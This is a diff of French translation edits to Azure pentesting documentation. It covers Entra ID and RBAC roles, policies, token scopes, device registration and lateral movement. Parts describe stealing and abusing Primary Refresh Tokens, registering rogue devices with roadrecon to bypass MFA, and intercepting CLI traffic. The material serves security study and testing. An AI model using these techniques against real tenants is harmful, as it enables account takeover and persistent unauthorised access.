 - Afin de gérer Entra ID, il existe certains **rôles intégrés** qui peuvent être assignés aux principaux Entra ID pour gérer Entra ID
-- Vérifiez les rôles sur [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
-- Le rôle le plus privilégié est **Administrateur global**
+- Vérifiez les rôles dans [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference)
+- Le rôle le plus privilégié est **Administrateur Global**
 - Dans la description du rôle, il est possible de voir ses **permissions granulaires**
 
 ## Rôles & Permissions
 
-**Les rôles** sont **assignés** aux **principaux** sur un **scope** : `principal -[HAS ROLE]->(scope)`
+**Les Rôles** sont **assignés** aux **principaux** sur un **scope** : `principal -[HAS ROLE]->(scope)`
 
-**Les rôles** assignés aux **groupes** sont **hérités** par tous les **membres** du groupe.
+**Les Rôles** assignés aux **groupes** sont **hérités** par tous les **membres** du groupe.
 
-Selon le scope auquel le rôle a été assigné, le **rôle** peut être **hérité** par **d'autres ressources** à l'intérieur du conteneur de scope. Par exemple, si un utilisateur A a un **rôle sur l'abonnement**, il aura ce **rôle sur tous les groupes de ressources** à l'intérieur de l'abonnement et sur **toutes les ressources** à l'intérieur du groupe de ressources.
+Selon le scope auquel le rôle a été assigné, le **rôle** peut être **hérité** à **d'autres ressources** à l'intérieur du conteneur de scope. Par exemple, si un utilisateur A a un **rôle sur l'abonnement**, il aura ce **rôle sur tous les groupes de ressources** à l'intérieur de l'abonnement et sur **toutes les ressources** à l'intérieur du groupe de ressources.
 
-### **Rôles classiques**
+### **Rôles Classiques**
 
 | **Propriétaire**                     | 
  • Accès complet à toutes les ressources
  • Peut gérer l'accès pour d'autres utilisateurs
 | Tous les types de ressources |
 | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ |
 | **Contributeur**               | 
  • Accès complet à toutes les ressources
  • Ne peut pas gérer l'accès
              | Tous les types de ressources |
 | **Lecteur**                    | • Voir toutes les ressources                                                                     | Tous les types de ressources |
-| **Administrateur d'accès utilisateur** | 
  • Voir toutes les ressources
  • Peut gérer l'accès pour d'autres utilisateurs
           | Tous les types de ressources |
+| **Administrateur d'Accès Utilisateur** | 
  • Voir toutes les ressources
  • Peut gérer l'accès pour d'autres utilisateurs
           | Tous les types de ressources |
 
-### Rôles intégrés
+### Rôles Intégrés
 
-[Des docs : ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Le contrôle d'accès basé sur les rôles Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) a plusieurs **rôles intégrés Azure** que vous pouvez **assigner** à **des utilisateurs, groupes, principaux de service et identités gérées**. Les attributions de rôle sont la manière dont vous contrôlez **l'accès aux ressources Azure**. Si les rôles intégrés ne répondent pas aux besoins spécifiques de votre organisation, vous pouvez créer vos propres [**rôles personnalisés Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
+[Dans la documentation : ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Le contrôle d'accès basé sur les rôles Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) a plusieurs **rôles intégrés Azure** que vous pouvez **assigner** à **utilisateurs, groupes, principaux de service et identités gérées**. Les attributions de rôle sont la manière dont vous contrôlez **l'accès aux ressources Azure**. Si les rôles intégrés ne répondent pas aux besoins spécifiques de votre organisation, vous pouvez créer vos propres [**rôles personnalisés Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.**
 
-Les **rôles intégrés** s'appliquent uniquement aux **ressources** pour lesquelles ils sont **destinés**, par exemple, vérifiez ces 2 exemples de **rôles intégrés sur les ressources Compute** :
+Les **Rôles Intégrés** s'appliquent uniquement aux **ressources** auxquelles ils sont **destinés**, par exemple, vérifiez ces 2 exemples de **Rôles Intégrés sur les ressources de Calcul** :
 
-| [Lecteur de sauvegarde de disque](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | Fournit la permission au coffre de sauvegarde pour effectuer une sauvegarde de disque.      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
+| [Lecteur de Sauvegarde de Disque](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader)                 | Fournit la permission au coffre de sauvegarde pour effectuer une sauvegarde de disque.      | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 |
 | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ |
-| [Connexion utilisateur de machine virtuelle](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Voir les machines virtuelles dans le portail et se connecter en tant qu'utilisateur régulier. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
+| [Connexion Utilisateur de Machine Virtuelle](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Voir les Machines Virtuelles dans le portail et se connecter en tant qu'utilisateur régulier. | fb879df8-f326-4884-b1cf-06f3ad86be52 |
 
 Ces rôles peuvent **également être assignés sur des conteneurs logiques** (tels que des groupes de gestion, des abonnements et des groupes de ressources) et les principaux affectés les auront **sur les ressources à l'intérieur de ces conteneurs**.
 
 - Trouvez ici une liste avec [**tous les rôles intégrés Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles).
 - Trouvez ici une liste avec [**tous les rôles intégrés Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
 
-### Rôles personnalisés
+### Rôles Personnalisés
 
 - Il est également possible de créer [**rôles personnalisés**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
 - Ils sont créés à l'intérieur d'un scope, bien qu'un rôle puisse être dans plusieurs scopes (groupes de gestion, abonnements et groupes de ressources)
@@ -262,7 +262,7 @@ Ces rôles peuvent **également être assignés sur des conteneurs logiques** (t
 - `actions` sont pour contrôler les actions sur la ressource
 - `dataActions` sont des permissions sur les données à l'intérieur de l'objet
 
-Exemple de JSON de permissions pour un rôle personnalisé :
+Exemple de permissions JSON pour un rôle personnalisé :
 ```json
 {
 "properties": {
@@ -292,47 +292,47 @@ Exemple de JSON de permissions pour un rôle personnalisé :
 }
 }
 ```
-### Permissions order
+### Ordre des autorisations
 
-- Afin qu'un **principal ait un accès sur une ressource**, il a besoin d'un rôle explicite qui lui est accordé (de quelque manière que ce soit) **lui accordant cette permission**.
-- Une **attribution de rôle de refus explicite a la priorité** sur le rôle accordant la permission.
+- Afin qu'un **principal ait un accès à une ressource**, il a besoin d'un rôle explicite qui lui est accordé (de quelque manière que ce soit) **lui accordant cette permission**.
+- Une affectation de rôle explicite **de refus a la priorité** sur le rôle accordant la permission.
 
 
https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

 
-### Global Administrator
+### Administrateur global
 
-Le Global Administrator est un rôle d'Entra ID qui accorde **un contrôle total sur le locataire Entra ID**. Cependant, il n'accorde par défaut aucune permission sur les ressources Azure.
+L'administrateur global est un rôle d'Entra ID qui accorde **un contrôle total sur le locataire Entra ID**. Cependant, il n'accorde par défaut aucune permission sur les ressources Azure.
 
-Les utilisateurs ayant le rôle de Global Administrator ont la capacité de '**s'élever' au rôle d'Administrateur d'Accès Utilisateur Azure dans le Groupe de Gestion Racine**. Ainsi, les Global Administrators peuvent gérer l'accès dans **toutes les souscriptions Azure et groupes de gestion.**\
+Les utilisateurs ayant le rôle d'administrateur global ont la capacité de '**s'élever' au rôle d'administrateur d'accès utilisateur Azure dans le groupe de gestion racine**. Ainsi, les administrateurs globaux peuvent gérer l'accès dans **toutes les souscriptions Azure et groupes de gestion.**\
 Cette élévation peut être effectuée en bas de la page : [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
 
 

 
-### Azure Policies
+### Politiques Azure
 
-**Les Azure Policies** sont des règles qui aident les organisations à s'assurer que leurs ressources répondent à des normes spécifiques et à des exigences de conformité. Elles vous permettent de **faire respecter ou d'auditer les paramètres sur les ressources dans Azure**. Par exemple, vous pouvez empêcher la création de machines virtuelles dans une région non autorisée ou vous assurer que toutes les ressources ont des balises spécifiques pour le suivi.
+**Les politiques Azure** sont des règles qui aident les organisations à s'assurer que leurs ressources répondent à des normes spécifiques et à des exigences de conformité. Elles vous permettent de **faire respecter ou d'auditer les paramètres sur les ressources dans Azure**. Par exemple, vous pouvez empêcher la création de machines virtuelles dans une région non autorisée ou vous assurer que toutes les ressources ont des balises spécifiques pour le suivi.
 
-Les Azure Policies sont **proactives** : elles peuvent empêcher la création ou la modification de ressources non conformes. Elles sont également **réactives**, vous permettant de trouver et de corriger les ressources non conformes existantes.
+Les politiques Azure sont **proactives** : elles peuvent empêcher la création ou la modification de ressources non conformes. Elles sont également **réactives**, vous permettant de trouver et de corriger les ressources non conformes existantes.
 
-#### **Key Concepts**
+#### **Concepts clés**
 
 1. **Définition de la politique** : Une règle, écrite en JSON, qui spécifie ce qui est autorisé ou requis.
-2. **Attribution de la politique** : L'application d'une politique à un champ spécifique (par exemple, souscription, groupe de ressources).
+2. **Affectation de la politique** : L'application d'une politique à un champ spécifique (par exemple, souscription, groupe de ressources).
 3. **Initiatives** : Une collection de politiques regroupées pour une application plus large.
 4. **Effet** : Spécifie ce qui se passe lorsque la politique est déclenchée (par exemple, "Refuser", "Auditer" ou "Ajouter").
 
 **Quelques exemples :**
 
-1. **Assurer la conformité avec des régions Azure spécifiques** : Cette politique garantit que toutes les ressources sont déployées dans des régions Azure spécifiques. Par exemple, une entreprise pourrait vouloir s'assurer que toutes ses données sont stockées en Europe pour la conformité au RGPD.
+1. **Assurer la conformité avec des régions Azure spécifiques** : Cette politique garantit que toutes les ressources sont déployées dans des régions Azure spécifiques. Par exemple, une entreprise pourrait vouloir s'assurer que toutes ses données sont stockées en Europe pour se conformer au RGPD.
 2. **Faire respecter les normes de nommage** : Les politiques peuvent faire respecter des conventions de nommage pour les ressources Azure. Cela aide à organiser et à identifier facilement les ressources en fonction de leurs noms, ce qui est utile dans de grands environnements.
 3. **Restreindre certains types de ressources** : Cette politique peut restreindre la création de certains types de ressources. Par exemple, une politique pourrait être définie pour empêcher la création de types de ressources coûteux, comme certaines tailles de VM, pour contrôler les coûts.
-4. **Faire respecter les politiques de balisage** : Les balises sont des paires clé-valeur associées aux ressources Azure utilisées pour la gestion des ressources. Les politiques peuvent faire respecter que certaines balises doivent être présentes, ou avoir des valeurs spécifiques, pour toutes les ressources. Cela est utile pour le suivi des coûts, la propriété ou la catégorisation des ressources.
+4. **Faire respecter les politiques de balisage** : Les balises sont des paires clé-valeur associées aux ressources Azure utilisées pour la gestion des ressources. Les politiques peuvent faire respecter la présence de certaines balises, ou avoir des valeurs spécifiques, pour toutes les ressources. Cela est utile pour le suivi des coûts, la propriété ou la catégorisation des ressources.
 5. **Limiter l'accès public aux ressources** : Les politiques peuvent faire respecter que certaines ressources, comme les comptes de stockage ou les bases de données, n'ont pas de points de terminaison publics, garantissant qu'elles ne sont accessibles que dans le réseau de l'organisation.
 6. **Appliquer automatiquement les paramètres de sécurité** : Les politiques peuvent être utilisées pour appliquer automatiquement des paramètres de sécurité aux ressources, comme appliquer un groupe de sécurité réseau spécifique à toutes les VM ou s'assurer que tous les comptes de stockage utilisent le chiffrement.
 
-Notez que les Azure Policies peuvent être attachées à n'importe quel niveau de la hiérarchie Azure, mais elles sont **généralement utilisées dans le groupe de gestion racine** ou dans d'autres groupes de gestion.
+Notez que les politiques Azure peuvent être attachées à n'importe quel niveau de la hiérarchie Azure, mais elles sont **généralement utilisées dans le groupe de gestion racine** ou dans d'autres groupes de gestion.
 
-Exemple de json de politique Azure :
+Exemple de politique Azure json :
 ```json
 {
 "policyRule": {
@@ -350,20 +350,20 @@ Exemple de json de politique Azure :
 "mode": "All"
 }
 ```
-### Héritage des Permissions
+### Héritage des autorisations
 
-Dans Azure, **les permissions peuvent être attribuées à n'importe quelle partie de la hiérarchie**. Cela inclut les groupes de gestion, les abonnements, les groupes de ressources et les ressources individuelles. Les permissions sont **héritées** par les **ressources** contenues de l'entité où elles ont été attribuées.
+Dans Azure, **les autorisations peuvent être attribuées à n'importe quelle partie de la hiérarchie**. Cela inclut les groupes de gestion, les abonnements, les groupes de ressources et les ressources individuelles. Les autorisations sont **héritées** par les **ressources** contenues de l'entité où elles ont été attribuées.
 
-Cette structure hiérarchique permet une gestion efficace et évolutive des permissions d'accès.
+Cette structure hiérarchique permet une gestion efficace et évolutive des autorisations d'accès.
 
 

 
 ### Azure RBAC vs ABAC
 
 **RBAC** (contrôle d'accès basé sur les rôles) est ce que nous avons déjà vu dans les sections précédentes : **Attribuer un rôle à un principal pour lui accorder l'accès** à une ressource.\
-Cependant, dans certains cas, vous pourriez vouloir fournir une **gestion des accès plus granulaire** ou **simplifier** la gestion de **centaines** d'assignations de rôles.
+Cependant, dans certains cas, vous pourriez vouloir fournir une **gestion des accès plus fine** ou **simplifier** la gestion de **centaines** d'**attributions** de rôles.
 
-Azure **ABAC** (contrôle d'accès basé sur les attributs) s'appuie sur Azure RBAC en ajoutant des **conditions d'assignation de rôle basées sur des attributs** dans le contexte d'actions spécifiques. Une _condition d'assignation de rôle_ est un **vérification supplémentaire que vous pouvez optionnellement ajouter à votre assignation de rôle** pour fournir un contrôle d'accès plus granulaire. Une condition filtre les permissions accordées dans le cadre de la définition de rôle et de l'assignation de rôle. Par exemple, vous pouvez **ajouter une condition qui exige qu'un objet ait une étiquette spécifique pour lire l'objet**.\
+Azure **ABAC** (contrôle d'accès basé sur les attributs) s'appuie sur Azure RBAC en ajoutant des **conditions d'attribution de rôle basées sur des attributs** dans le contexte d'actions spécifiques. Une _condition d'attribution de rôle_ est un **vérification supplémentaire que vous pouvez ajouter en option à votre attribution de rôle** pour fournir un contrôle d'accès plus fin. Une condition filtre les autorisations accordées dans le cadre de la définition de rôle et de l'attribution de rôle. Par exemple, vous pouvez **ajouter une condition qui exige qu'un objet ait une étiquette spécifique pour lire l'objet**.\
 Vous **ne pouvez pas** explicitement **refuser** l'**accès** à des ressources spécifiques **en utilisant des conditions**.
 
 ## Références
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index b523c24f1..cb9a95e6d 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -71,7 +71,7 @@ La commande `az account get-access-token --resource-type [...]` prend en charge
 * **arm (Azure Resource Manager)** : Utilisé pour gérer les ressources Azure via l'API Azure Resource Manager. Cela inclut des opérations telles que la création, la mise à jour et la suppression de ressources telles que des machines virtuelles, des comptes de stockage, et plus encore.
 - `https://management.core.windows.net/ ou https://management.azure.com/`
 
-- **batch (Azure Batch Services)** : Utilisé pour accéder à Azure Batch, un service qui permet d'exécuter efficacement des applications de calcul parallèle à grande échelle et à haute performance dans le cloud.
+- **batch (Azure Batch Services)** : Utilisé pour accéder à Azure Batch, un service qui permet d'exécuter efficacement des applications de calcul parallèle à grande échelle et de haute performance dans le cloud.
 - `https://batch.core.windows.net/`
 
 * **data-lake (Azure Data Lake Storage)** : Utilisé pour interagir avec Azure Data Lake Storage Gen1, qui est un service de stockage et d'analyse de données évolutif.
@@ -121,7 +121,6 @@ device_flow
 pprint(azure_cli_bearer_tokens_for_graph_api)
 
 
-
 # DECODE JWT
 def decode_jwt(base64_blob: str) -> Dict[str, Any]:
 """Decodes base64 encoded JWT blob"""
@@ -149,7 +148,7 @@ pprint(new_azure_cli_bearer_tokens_for_graph_api)
 
 Il a été mentionné précédemment que les jetons d'actualisation doivent être liés aux **portées** avec lesquelles ils ont été générés, à l'**application** et au **locataire** pour lesquels ils ont été générés. Si l'une de ces limites est franchie, il est possible d'escalader les privilèges car il sera possible de générer des jetons d'accès pour d'autres ressources et locataires auxquels l'utilisateur a accès et avec plus de portées que ce qui était initialement prévu.
 
-De plus, **cela est possible avec tous les jetons d'actualisation** dans la [plateforme d'identité Microsoft](https://learn.microsoft.com/en-us/entra/identity-platform/) (comptes Microsoft Entra, comptes personnels Microsoft et comptes sociaux comme Facebook et Google) car comme le mentionnent les [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) : "Les jetons d'actualisation sont liés à une combinaison d'utilisateur et de client, mais **ne sont pas liés à une ressource ou à un locataire**. Un client peut utiliser un jeton d'actualisation pour acquérir des jetons d'accès **à travers n'importe quelle combinaison de ressource et de locataire** où il a la permission de le faire. Les jetons d'actualisation sont cryptés et seule la plateforme d'identité Microsoft peut les lire."
+De plus, **cela est possible avec tous les jetons d'actualisation** dans la [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (comptes Microsoft Entra, comptes personnels Microsoft et comptes sociaux comme Facebook et Google) car comme le mentionnent les [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) : "Les jetons d'actualisation sont liés à une combinaison d'utilisateur et de client, mais **ne sont pas liés à une ressource ou à un locataire**. Un client peut utiliser un jeton d'actualisation pour acquérir des jetons d'accès **à travers n'importe quelle combinaison de ressource et de locataire** où il a la permission de le faire. Les jetons d'actualisation sont cryptés et seule la Microsoft identity platform peut les lire."
 
 De plus, notez que les applications FOCI sont des applications publiques, donc **aucun secret n'est nécessaire** pour s'authentifier auprès du serveur.
 
diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md
index 8286577f8..a361c5d23 100644
--- a/src/pentesting-cloud/azure-security/az-device-registration.md
+++ b/src/pentesting-cloud/azure-security/az-device-registration.md
@@ -1,4 +1,4 @@
-# Az - Device Registration
+# Az - Enregistrement de l'appareil
 
 {{#include ../../banners/hacktricks-training.md}}
 
@@ -6,15 +6,15 @@
 
 Lorsqu'un appareil rejoint AzureAD, un nouvel objet est créé dans AzureAD.
 
-Lors de l'enregistrement d'un appareil, **l'utilisateur est invité à se connecter avec son compte** (demandant une MFA si nécessaire), puis il demande des jetons pour le service d'enregistrement des appareils et demande ensuite une confirmation finale.
+Lors de l'enregistrement d'un appareil, **l'utilisateur est invité à se connecter avec son compte** (demandant une MFA si nécessaire), puis il demande des jetons pour le service d'enregistrement des appareils et ensuite demande une confirmation finale.
 
 Ensuite, deux paires de clés RSA sont générées dans l'appareil : La **clé de l'appareil** (**clé publique**) qui est envoyée à **AzureAD** et la **clé de transport** (**clé privée**) qui est stockée dans le TPM si possible.
 
-Ensuite, l'**objet** est généré dans **AzureAD** (pas dans Intune) et AzureAD renvoie à l'appareil un **certificat** signé par lui. Vous pouvez vérifier que **l'appareil est joint à AzureAD** et obtenir des informations sur le **certificat** (comme s'il est protégé par le TPM).
+Ensuite, l'**objet** est généré dans **AzureAD** (pas dans Intune) et AzureAD renvoie à l'appareil un **certificat** signé par lui. Vous pouvez vérifier que **l'appareil est joint à AzureAD** et des informations sur le **certificat** (comme s'il est protégé par le TPM).
 ```bash
 dsregcmd /status
 ```
-Après l'enregistrement de l'appareil, un **Primary Refresh Token** est demandé par le module LSASS CloudAP et donné à l'appareil. Avec le PRT est également livré la **clé de session chiffrée afin que seul l'appareil puisse la déchiffrer** (en utilisant la clé publique de la clé de transport) et elle est **nécessaire pour utiliser le PRT.**
+Après l'enregistrement de l'appareil, un **Primary Refresh Token** est demandé par le module LSASS CloudAP et remis à l'appareil. Avec le PRT est également livré la **clé de session chiffrée afin que seul l'appareil puisse la déchiffrer** (en utilisant la clé publique de la clé de transport) et elle est **nécessaire pour utiliser le PRT.**
 
 Pour plus d'informations sur ce qu'est un PRT, consultez :
 
@@ -24,7 +24,7 @@ az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
 
 ### TPM - Trusted Platform Module
 
-Le **TPM** **protège** contre l'extraction de clés **d'un appareil éteint** (s'il est protégé par un code PIN) et contre l'extraction du matériel privé de la couche OS.\
+Le **TPM** **protège** contre l'extraction de clés d'un appareil éteint (s'il est protégé par un code PIN) et contre l'extraction du matériel privé de la couche OS.\
 Mais il **ne protège pas** contre le **sniffing** de la connexion physique entre le TPM et le CPU ou **l'utilisation du matériel cryptographique** dans le TPM pendant que le système fonctionne à partir d'un processus avec des droits **SYSTEM**.
 
 Si vous consultez la page suivante, vous verrez que **voler le PRT** peut être utilisé pour accéder comme un **utilisateur**, ce qui est génial car le **PRT est situé sur les appareils**, donc il peut être volé à partir d'eux (ou s'il n'est pas volé, abusé pour générer de nouvelles clés de signature) :
@@ -47,7 +47,7 @@ roadrecon auth -r 01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9 --prt-cookie 
 # Custom pyhton script to register a device (check roadtx)
 registerdevice.py
 ```
-Qui vous donnera un **certificat que vous pouvez utiliser pour demander des PRT à l'avenir**. Cela permet de maintenir la persistance et **de contourner MFA** car le jeton PRT original utilisé pour enregistrer le nouvel appareil **avait déjà des autorisations MFA accordées**.
+Ce qui vous donnera un **certificat que vous pouvez utiliser pour demander des PRT à l'avenir**. Cela permet de maintenir la persistance et **de contourner la MFA** car le jeton PRT original utilisé pour enregistrer le nouvel appareil **avait déjà des autorisations MFA accordées**.
 
 > [!TIP]
 > Notez que pour effectuer cette attaque, vous aurez besoin d'autorisations pour **enregistrer de nouveaux appareils**. De plus, enregistrer un appareil ne signifie pas que l'appareil sera **autorisé à s'inscrire dans Intune**.
@@ -57,7 +57,7 @@ Qui vous donnera un **certificat que vous pouvez utiliser pour demander des PRT
 
 ## Écraser un ticket d'appareil
 
-Il était possible de **demander un ticket d'appareil**, **écraser** l'actuel de l'appareil, et pendant le flux **voler le PRT** (donc pas besoin de le voler depuis le TPM. Pour plus d'infos [**vérifiez cette présentation**](https://youtu.be/BduCn8cLV1A).
+Il était possible de **demander un ticket d'appareil**, **écraser** celui en cours de l'appareil, et pendant le flux **voler le PRT** (donc pas besoin de le voler depuis le TPM. Pour plus d'infos [**vérifiez cette présentation**](https://youtu.be/BduCn8cLV1A).
 
 

 
@@ -76,7 +76,7 @@ Résumé de l'attaque :
 
 

 
-Les utilisateurs peuvent modifier leur propre propriété searchableDeviceKey via l'Azure AD Graph, cependant, l'attaquant doit avoir un appareil dans le locataire (enregistré à la volée ou ayant volé un cert + clé d'un appareil légitime) et un jeton d'accès valide pour le Graph AAD.
+Les utilisateurs peuvent modifier leur propre propriété searchableDeviceKey via l'Azure AD Graph, cependant, l'attaquant doit avoir un appareil dans le locataire (enregistré à la volée ou ayant volé un certificat + clé d'un appareil légitime) et un jeton d'accès valide pour l'AAD Graph.
 
 Ensuite, il est possible de générer une nouvelle clé avec :
 ```bash
diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
index 595972ebc..d406cc84b 100644
--- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md
+++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md
@@ -47,7 +47,7 @@ pwsh
 brew update
 brew upgrade powershell
 ```
-## Outils Principaux d'Enumeration
+## Outils d'énumération principaux
 
 ### az cli
 
@@ -55,7 +55,7 @@ brew upgrade powershell
 
 Suivez ce lien pour les [**instructions d'installation¡**](https://learn.microsoft.com/en-us/cli/azure/install-azure-cli#install).
 
-Les commandes dans Azure CLI sont structurées en utilisant un modèle de : `az   `
+Les commandes dans Azure CLI sont structurées selon un modèle de : `az   `
 
 #### Déboguer | MitM az cli
 
@@ -105,7 +105,7 @@ En utilisant le paramètre **`-Debug`**, il est possible de voir toutes les requ
 ```bash
 Get-AzResourceGroup -Debug
 ```
-Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez définir les variables d'environnement `HTTPS_PROXY` et `HTTP_PROXY` selon la [**documentation**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
+Pour effectuer un **MitM** sur l'outil et **vérifier toutes les requêtes** qu'il envoie manuellement, vous pouvez définir les variables d'environnement `HTTPS_PROXY` et `HTTP_PROXY` selon les [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy).
 
 ### Microsoft Graph PowerShell
 
@@ -128,4 +128,4 @@ Le module Azure Active Directory (AD), maintenant **déprécié**, fait partie d
 > [!TIP]
 > Cela est remplacé par Microsoft Graph PowerShell
 
-Suivez ce lien pour les [**instructions d'installation**](https://www.powershellgallery.com/packages/AzureAD).
+Follow this link for the [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
index 7a69a05d9..6a426ed47 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md
@@ -6,7 +6,7 @@
 
 ### Machines sur site connectées au cloud
 
-Il existe différentes manières pour qu'une machine soit connectée au cloud :
+Il existe différentes manières pour une machine d'être connectée au cloud :
 
 #### Azure AD joint
 
@@ -28,8 +28,8 @@ Il existe différentes manières pour qu'une machine soit connectée au cloud :
 
 Dans Azure AD, il existe différents types de jetons avec des limitations spécifiques :
 
-- **Jetons d'accès** : Utilisés pour accéder aux API et aux ressources comme Microsoft Graph. Ils sont liés à un client et une ressource spécifiques.
-- **Jetons de rafraîchissement** : Délivrés aux applications pour obtenir de nouveaux jetons d'accès. Ils ne peuvent être utilisés que par l'application à laquelle ils ont été délivrés ou un groupe d'applications.
+- **Jetons d'accès** : Utilisés pour accéder aux API et aux ressources comme Microsoft Graph. Ils sont liés à un client et à une ressource spécifiques.
+- **Jetons de rafraîchissement** : Émis aux applications pour obtenir de nouveaux jetons d'accès. Ils ne peuvent être utilisés que par l'application à laquelle ils ont été émis ou un groupe d'applications.
 - **Jetons de rafraîchissement principaux (PRT)** : Utilisés pour l'authentification unique sur les appareils joints à Azure AD, enregistrés ou joints de manière hybride. Ils peuvent être utilisés dans les flux de connexion par navigateur et pour se connecter à des applications mobiles et de bureau sur l'appareil.
 - **Clés Windows Hello for Business (WHFB)** : Utilisées pour l'authentification sans mot de passe. Elles sont utilisées pour obtenir des jetons de rafraîchissement principaux.
 
@@ -49,7 +49,7 @@ Depuis la **machine compromise vers le cloud** :
 - [**Pass the PRT**](pass-the-prt.md) : Voler le PRT de l'appareil pour accéder à Azure en l'usurpant.
 - [**Pass the Certificate**](az-pass-the-certificate.md)**:** Générer un certificat basé sur le PRT pour se connecter d'une machine à une autre
 
-Depuis la compromission de **AD** vers la compromission du **Cloud** et depuis la compromission du **Cloud** vers la compromission de **AD** :
+Depuis la compromission de **AD** vers la compromission du **Cloud** et depuis la compromission du **Cloud vers** la compromission de **AD** :
 
 - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/)
 - **Une autre façon de pivoter du cloud vers sur site est** [**d'abuser d'Intune**](../az-services/intune.md)
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
index f467b7d22..7edad9963 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -8,12 +8,12 @@ Azure Arc permet l'intégration de nouveaux serveurs internes (serveurs de domai
 
 Lors de son exécution, le script DeployGPO.ps1 effectue les actions suivantes :
 
-1. Crée le GPO d'intégration des serveurs Azure Arc dans le domaine local.
+1. Crée le GPO d'intégration des serveurs Azure Arc au sein du domaine local.
 2. Copie le script d'intégration EnableAzureArc.ps1 dans le partage réseau désigné créé pour le processus d'intégration, qui contient également le package d'installation Windows.
 
 Lors de l'exécution de ce script, les administrateurs système doivent fournir deux paramètres principaux : **ServicePrincipalId** et **ServicePrincipalClientSecret**. De plus, il nécessite d'autres paramètres tels que le domaine, le FQDN du serveur hébergeant le partage et le nom du partage. D'autres détails tels que l'ID de locataire, le groupe de ressources et d'autres informations nécessaires doivent également être fournis au script.
 
-Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. Des preuves de cela peuvent être trouvées dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les groupes de sécurité Domain Controllers et Domain Computers, comme noté dans les commentaires du script.
+Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. Des preuves de cela peuvent être trouvées dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les contrôleurs de domaine et les groupes de sécurité des ordinateurs de domaine, comme noté dans les commentaires du script.
 ```powershell
 # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
